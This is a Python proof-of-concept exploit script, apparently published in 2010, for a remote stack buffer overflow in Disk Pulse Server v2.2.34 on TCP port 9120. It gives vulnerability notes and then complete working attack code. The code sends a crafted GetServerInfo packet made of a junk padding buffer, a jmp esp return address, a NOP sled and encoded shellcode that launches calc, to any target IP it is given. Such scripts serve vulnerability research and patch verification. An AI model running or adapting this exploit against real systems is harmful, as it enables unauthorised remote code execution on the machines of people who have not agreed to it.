#!/usr/bin/python # Exploit Title: Disk Pulse Server v2.2.34 Remote Buffer Overflow Exploit # Date: 10/11/2010 # Author: xsploited security # URL: http://www.x-sploited.com/ # Contact: xsploitedsecurity [at] gmail.com # Software Link: http://www.diskpulse.com/setups/diskpulsesrv_setup_v2.2.34.exe # Version: v2.2.34 # Tested on: Windows XP SP3 (Physical machine) # CVE : N/A # Vulnerability Information: # A vulnerability exists in the way Disk Pulse Server v2.2.34 process a remote clients "GetServerInfo" request. # The vulnerability is caused due to a boundary error in libpal.dll when handling network messages and can be exploited # to cause a stack-based buffer overflow via a specially crafted packet sent to TCP port 9120. # Other notes: # It appears the vendor likes using the same server code (that was effected by my previous PoC: http://www.exploit-db.com/exploits/15231) # for everything client/server related. It is also safe to say that the client(s) are most likely effected by bugs as well. # Other possibly affected versions: # Disk Pulse Server <= 1.7.x # References: # http://secunia.com/advisories/41748/ # http://www.exploit-db.com/exploits/15231 # http://securityreason.com/exploitalert/9247 # Shouts: # kAoTiX, MAX, CorelanCoder, exploit-db (of course), all other security crews and sites. import sys,socket if len(sys.argv) != 2: print "[!] Usage: ./diskpulse.py <Target IP>" sys.exit(1) about = "=================================================\n" about += "Title: Disk Pulse Server v2.2.34 Remote BOF PoC\n" about += "Author: xsploited security\nURL: http://www.x-sploited.com/\n" about += "Contact: xsploitedsecurity [at] gmail.com\n" about += "=================================================\n" print about host = sys.argv[1] port = 9120 #default server port # windows/exec - 218 bytes / http://www.metasploit.com # Encoder: x86/fnstenv_mov / EXITFUNC=seh, CMD=calc calc = ("\x6a\x31\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97\x8c" "\x8a\x10\x83\xeb\xfc\xe2\xf4\x6b\x64\x03\x10\x97\x8c\xea\x99" "\x72\xbd\x58\x74\x1c\xde\xba\x9b\xc5\x80\x01\x42\x83\x07\xf8" "\x38\x98\x3b\xc0\x36\xa6\x73\xbb\xd0\x3b\xb0\xeb\x6c\x95\xa0" "\xaa\xd1\x58\x81\x8b\xd7\x75\x7c\xd8\x47\x1c\xde\x9a\x9b\xd5" "\xb0\x8b\xc0\x1c\xcc\xf2\x95\x57\xf8\xc0\x11\x47\xdc\x01\x58" "\x8f\x07\xd2\x30\x96\x5f\x69\x2c\xde\x07\xbe\x9b\x96\x5a\xbb" "\xef\xa6\x4c\x26\xd1\x58\x81\x8b\xd7\xaf\x6c\xff\xe4\x94\xf1" "\x72\x2b\xea\xa8\xff\xf2\xcf\x07\xd2\x34\x96\x5f\xec\x9b\x9b" "\xc7\x01\x48\x8b\x8d\x59\x9b\x93\x07\x8b\xc0\x1e\xc8\xae\x34" "\xcc\xd7\xeb\x49\xcd\xdd\x75\xf0\xcf\xd3\xd0\x9b\x85\x67\x0c" "\x4d\xfd\x8d\x07\x95\x2e\x8c\x8a\x10\xc7\xe4\xbb\x9b\xf8\x0b" "\x75\xc5\x2c\x72\x84\x22\x7d\xe4\x2c\x85\x2a\x11\x75\xc5\xab" "\x8a\xf6\x1a\x17\x77\x6a\x65\x92\x37\xcd\x03\xe5\xe3\xe0\x10" "\xc4\x73\x5f\x73\xf6\xe0\xe9\x10"); # Begin payload buffer: packet_header = ("\x47\x65\x74\x53\x65\x72\x76\x65\x72\x49\x6E\x66\x6F\x02"); # ASCII = "GetServerInfo." junk = "\x41" * 256; #256 byte junk buffer to reach eip eip = "\xFB\xF8\xAB\x71"; #jmp esp (via ws2_32.dll) nops = "\x90" * 12; #small nop sled # packet structure: # [header][junk][eip][nops][shellcode][nops][nops] packet = packet_header + junk + eip + nops + calc + nops + nops; print "[*] Connecting to " + host + "...\r" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print "[*] Connected, Sending payload\r" s.send(packet + "\r\n") print "[*] Payload sent successfully" print "[*] Check the results\r" s.close() |
